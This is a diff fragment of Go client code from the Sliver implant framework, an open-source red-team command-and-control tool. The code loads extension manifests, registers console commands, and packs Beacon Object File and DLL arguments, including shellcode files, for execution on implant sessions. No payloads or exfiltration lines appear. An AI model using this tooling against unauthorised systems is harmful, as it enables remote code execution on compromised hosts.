+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// ExtensionsListCmd - List all extension loaded on the active session/beacon
+func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if extList.Response != nil && extList.Response.Err != "" {
+		con.PrintErrorf("%s\n", extList.Response.Err)
+		return
+	}
+	if len(extList.Names) > 0 {
+		con.PrintInfof("Loaded extensions:\n")
+		for _, ext := range extList.Names {
+			con.Printf("- %s\n", ext)
+		}
+	}
+}
@@ -0,0 +1,595 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"os"
+	"path"
+	"path/filepath"
+	"strconv"
+	"strings"
+
+	appConsole "github.com/reeflective/console"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+)
+
+const (
+	defaultTimeout = 60
+
+	// ManifestFileName - Extension manifest file name
+	ManifestFileName = "extension.json"
+)
+
+var loadedExtensions = map[string]*ExtensionManifest{}
+
+type ExtensionManifest struct {
+	Name            string               `json:"name"`
+	CommandName     string               `json:"command_name"`
+	Version         string               `json:"version"`
+	ExtensionAuthor string               `json:"extension_author"`
+	OriginalAuthor  string               `json:"original_author"`
+	RepoURL         string               `json:"repo_url"`
+	Help            string               `json:"help"`
+	LongHelp        string               `json:"long_help"`
+	Files           []*extensionFile     `json:"files"`
+	Arguments       []*extensionArgument `json:"arguments"`
+	Entrypoint      string               `json:"entrypoint"`
+	DependsOn       string               `json:"depends_on"`
+	Init            string               `json:"init"`
+
+	RootPath string `json:"-"`
+}
+
+type extensionFile struct {
+	OS   string `json:"os"`
+	Arch string `json:"arch"`
+	Path string `json:"path"`
+}
+
+type extensionArgument struct {
+	Name     string `json:"name"`
+	Type     string `json:"type"`
+	Desc     string `json:"desc"`
+	Optional bool   `json:"optional"`
+}
+
+func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
+	filePath := ""
+	for _, extFile := range e.Files {
+		if targetOS == extFile.OS && targetArch == extFile.Arch {
+			filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
+			break
+		}
+	}
+	if filePath == "" {
+		err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
+		return "", err
+	}
+	if _, err := os.Stat(filePath); os.IsNotExist(err) {
+		err = fmt.Errorf("extension file not found: %s", filePath)
+		return "", err
+	}
+	return filePath, nil
+}
+
+// ExtensionLoadCmd - Load extension command
+func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	dirPath := args[0]
+	// dirPath := ctx.Args.String("dir-path")
+	extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
+	if err != nil {
+		return
+	}
+	// do not add if the command already exists
+	sliverMenu := con.App.Menu("implant")
+	if CmdExists(extCmd.CommandName, sliverMenu.Command) {
+		con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
+		return
+	}
+	ExtensionRegisterCommand(extCmd, cmd.Root(), con)
+	con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
+}
+
+// LoadExtensionManifest - Parse extension files
+func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
+	data, err := os.ReadFile(manifestPath)
+	if err != nil {
+		return nil, err
+	}
+	extManifest, err := ParseExtensionManifest(data)
+	if err != nil {
+		return nil, err
+	}
+	extManifest.RootPath = filepath.Dir(manifestPath)
+	loadedExtensions[extManifest.CommandName] = extManifest
+	return extManifest, nil
+}
+
+// ParseExtensionManifest - Parse extension manifest from buffer
+func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
+	extManifest := &ExtensionManifest{}
+	err := json.Unmarshal(data, &extManifest)
+	if err != nil {
+		return nil, err
+	}
+	if extManifest.Name == "" {
+		return nil, errors.New("missing `name` field in extension manifest")
+	}
+	if extManifest.CommandName == "" {
+		return nil, errors.New("missing `command_name` field in extension manifest")
+	}
+	if len(extManifest.Files) == 0 {
+		return nil, errors.New("missing `files` field in extension manifest")
+	}
+	for _, extFiles := range extManifest.Files {
+		if extFiles.OS == "" {
+			return nil, errors.New("missing `files.os` field in extension manifest")
+		}
+		if extFiles.Arch == "" {
+			return nil, errors.New("missing `files.arch` field in extension manifest")
+		}
+		extFiles.Path = util.ResolvePath(extFiles.Path)
+		if extFiles.Path == "" || extFiles.Path == "/" {
+			return nil, errors.New("missing `files.path` field in extension manifest")
+		}
+		extFiles.OS = strings.ToLower(extFiles.OS)
+		extFiles.Arch = strings.ToLower(extFiles.Arch)
+	}
+	if extManifest.Help == "" {
+		return nil, errors.New("missing `help` field in extension manifest")
+	}
+	return extManifest, nil
+}
+
+// ExtensionRegisterCommand - Register a new extension command
+func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) {
+	if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
+		con.PrintErrorf(errInvalidArgs.Error())
+		return
+	}
+
+	loadedExtensions[extCmd.CommandName] = extCmd
+	helpMsg := extCmd.Help
+
+	// Command
+	extensionCmd := &cobra.Command{
+		Use:   extCmd.CommandName,
+		Short: helpMsg,
+		Long:  help.FormatHelpTmpl(extCmd.LongHelp),
+		Run: func(cmd *cobra.Command, args []string) {
+			runExtensionCmd(cmd, con, args)
+		},
+		GroupID:     consts.ExtensionHelpGroup,
+		Annotations: makeCommandPlatformFilters(extCmd),
+	}
+
+	// Flags
+	f := pflag.NewFlagSet(extCmd.Name, pflag.ContinueOnError)
+	f.BoolP("save", "s", false, "Save output to disk")
+	f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
+	extensionCmd.Flags().AddFlagSet(f)
+	extensionCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
+
+	// Completions
+	comps := carapace.Gen(extensionCmd)
+	makeExtensionArgCompleter(extCmd, cmd, comps)
+
+	cmd.AddCommand(extensionCmd)
+}
+
+func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error {
+	var extensionList []string
+	binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
+	if err != nil {
+		return err
+	}
+
+	// Try to find the extension in the loaded extensions
+	if checkCache {
+		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+			Request: con.ActiveTarget.Request(cmd),
+		})
+		if err != nil {
+			con.PrintErrorf("List extensions error: %s\n", err.Error())
+			return err
+		}
+		if extList.Response != nil && extList.Response.Err != "" {
+			return errors.New(extList.Response.Err)
+		}
+		extensionList = extList.Names
+	}
+	depLoaded := false
+	for _, extName := range extensionList {
+		if !depLoaded && extName == ext.DependsOn {
+			depLoaded = true
+		}
+		if ext.CommandName == extName {
+			return nil
+		}
+	}
+	// Extension not found, let's load it
+	if filepath.Ext(binPath) == ".o" {
+		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
+		// Auto load the coff loader if we have it
+		if !depLoaded {
+			if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
+				return errLoad
+			}
+		}
+		return nil
+	}
+	binData, err := os.ReadFile(binPath)
+	if err != nil {
+		return err
+	}
+	if errRegister := registerExtension(goos, ext, binData, cmd, con); errRegister != nil {
+		return errRegister
+	}
+	return nil
+}
+
+func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
+	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
+		Name:    ext.CommandName,
+		Data:    binData,
+		OS:      goos,
+		Init:    ext.Init,
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	if err != nil {
+		return err
+	}
+	if registerResp.Response != nil && registerResp.Response.Err != "" {
+		return errors.New(registerResp.Response.Err)
+	}
+	return nil
+}
+
+func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error {
+	depExt, ok := loadedExtensions[depName]
+	if ok {
+		depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
+		if err != nil {
+			return err
+		}
+		depBinData, err := os.ReadFile(depBinPath)
+		if err != nil {
+			return err
+		}
+		return registerExtension(goos, depExt, depBinData, cmd, con)
+	}
+	return fmt.Errorf("missing dependency %s", depName)
+}
+
+func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	var (
+		err           error
+		extensionArgs []byte
+		extName       string
+		entryPoint    string
+	)
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
+
+	ext, ok := loadedExtensions[cmd.Name()]
+	if !ok {
+		con.PrintErrorf("No extension command found for `%s` command\n", cmd.Name())
+		return
+	}
+
+	checkCache := session != nil
+	if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
+		con.PrintErrorf("Could not load extension: %s\n", err)
+		return
+	}
+
+	binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
+	if err != nil {
+		con.PrintErrorf("Failed to read extension file: %s\n", err)
+		return
+	}
+
+	isBOF := filepath.Ext(binPath) == ".o"
+
+	// BOFs (Beacon Object Files) are a specific kind of extensions
+	// that require another extension (a COFF loader) to be present.
+	// BOFs also have strongly typed arguments that need to be parsed in the proper way.
+	// This block will pack both the BOF data and its arguments into a single buffer that
+	// the loader will extract and load.
+	if isBOF {
+		// Beacon Object File -- requires a COFF loader
+		extensionArgs, err = getBOFArgs(cmd, args, binPath, ext)
+		if err != nil {
+			con.PrintErrorf("BOF args error: %s\n", err)
+			return
+		}
+		extName = ext.DependsOn
+		entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
+	} else {
+		// Regular DLL
+		extArgs := strings.Join(args, " ")
+		extensionArgs = []byte(extArgs)
+		extName = ext.CommandName
+		entryPoint = ext.Entrypoint
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Executing %s ...", cmd.Name())
+	con.SpinUntil(msg, ctrl)
+	callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
+		Name:    extName,
+		Export:  entryPoint,
+		Args:    extensionArgs,
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Call extension error: %s\n", err.Error())
+		return
+	}
+
+	if callExtResp.Response != nil && callExtResp.Response.Async {
+		con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, callExtResp)
+			if err != nil {
+				con.PrintErrorf("Failed to decode call ext response %s\n", err)
+				return
+			}
+			PrintExtOutput(extName, ext.CommandName, callExtResp, con)
+		})
+		con.PrintAsyncResponse(callExtResp.Response)
+	} else {
+		PrintExtOutput(extName, ext.CommandName, callExtResp, con)
+	}
+}
+
+// PrintExtOutput - Print the ext execution output
+func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
+	if extName == commandName {
+		con.PrintInfof("Successfully executed %s", extName)
+	} else {
+		con.PrintInfof("Successfully executed %s (%s)", commandName, extName)
+	}
+	if 0 < len(string(callExtension.Output)) {
+		con.PrintInfof("Got output:\n%s", callExtension.Output)
+	}
+	if callExtension.Response != nil && callExtension.Response.Err != "" {
+		con.PrintErrorf(callExtension.Response.Err)
+		return
+	}
+}
+
+func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtensionManifest) ([]byte, error) {
+	var extensionArgs []byte
+	binData, err := os.ReadFile(binPath)
+	if err != nil {
+		return nil, err
+	}
+	argsBuffer := core.BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+
+	// Parse BOF arguments from grumble
+	missingRequiredArgs := make([]string, 0)
+
+	for _, arg := range ext.Arguments {
+		// If we don't have any positional words left to consume,
+		// add the remaining required extension arguments in the
+		// error message.
+		if len(args) == 0 {
+			if !arg.Optional {
+				missingRequiredArgs = append(missingRequiredArgs, "`"+arg.Name+"`")
+			}
+			continue
+		}
+
+		// Else pop a word from the list
+		word := args[0]
+		args = args[1:]
+
+		switch arg.Type {
+		case "integer":
+			fallthrough
+		case "int":
+			val, err := strconv.Atoi(word)
+			if err != nil {
+				return nil, err
+			}
+			err = argsBuffer.AddInt(uint32(val))
+			if err != nil {
+				return nil, err
+			}
+		case "short":
+			val, err := strconv.Atoi(word)
+			if err != nil {
+				return nil, err
+			}
+			err = argsBuffer.AddShort(uint16(val))
+			if err != nil {
+				return nil, err
+			}
+		case "string":
+			err = argsBuffer.AddString(word)
+			if err != nil {
+				return nil, err
+			}
+		case "wstring":
+			err = argsBuffer.AddWString(word)
+			if err != nil {
+				return nil, err
+			}
+		// Adding support for filepaths so we can
+		// send binary data like shellcodes to BOFs
+		case "file":
+			data, err := os.ReadFile(word)
+			if err != nil {
+				return nil, err
+			}
+			err = argsBuffer.AddData(data)
+			if err != nil {
+				return nil, err
+			}
+		}
+	}
+
+	// Return if we have missing required arguments
+	if len(missingRequiredArgs) > 0 {
+		return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
+	}
+
+	parsedArgs, err := argsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	// Now build the extension's argument buffer
+	extensionArgsBuffer := core.BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	err = extensionArgsBuffer.AddString(ext.Entrypoint)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(binData)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(parsedArgs)
+	if err != nil {
+		return nil, err
+	}
+	extensionArgs, err = extensionArgsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	return extensionArgs, nil
+}
+
+// CmdExists - checks if a command exists
+func CmdExists(name string, cmd *cobra.Command) bool {
+	for _, c := range cmd.Commands() {
+		if name == c.Name() {
+			return true
+		}
+	}
+	return false
+}
+
+// makeExtensionArgParser builds the valid positional arguments cobra handler for the extension.
+func checkExtensionArgs(extCmd *ExtensionManifest) error {
+	if 0 < len(extCmd.Arguments) {
+		for _, arg := range extCmd.Arguments {
+			switch arg.Type {
+			case "int", "integer", "short":
+			case "string", "wstring", "file":
+			default:
+				return fmt.Errorf("invalid argument type: %s", arg.Type)
+			}
+		}
+	}
+
+	return nil
+}
+
+// makeExtensionArgCompleter builds the positional arguments completer for the extension.
+func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comps *carapace.Carapace) {
+	var actions []carapace.Action
+
+	for _, arg := range extCmd.Arguments {
+		var action carapace.Action
+
+		switch arg.Type {
+		case "file":
+			action = carapace.ActionFiles().Tag("extension data")
+		}
+
+		usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
+		if arg.Optional {
+			usage += " (optional)"
+		}
+
+		actions = append(actions, action.Usage(usage))
+	}
+
+	comps.PositionalCompletion(actions...)
+}
+
+func makeCommandPlatformFilters(extCmd *ExtensionManifest) map[string]string {
+	filtersOS := make(map[string]bool)
+	filtersArch := make(map[string]bool)
+
+	var all []string
+
+	// Only add filters for architectures when there OS matters.
+	for _, file := range extCmd.Files {
+		filtersOS[file.OS] = true
+
+		if filtersOS[file.OS] {
+			filtersArch[file.Arch] = true
+		}
+	}
+
+	for os, enabled := range filtersOS {
+		if enabled {
+			all = append(all, os)
+		}
+	}
+
+	for arch, enabled := range filtersArch {
+		if enabled {
+			all = append(all, arch)
+		}
+	}
+
+	if len(all) == 0 {
+		return map[string]string{}
+	}
+
+	return map[string]string{
+		appConsole.CommandFilterKey: strings.Join(all, ","),
+	}
+}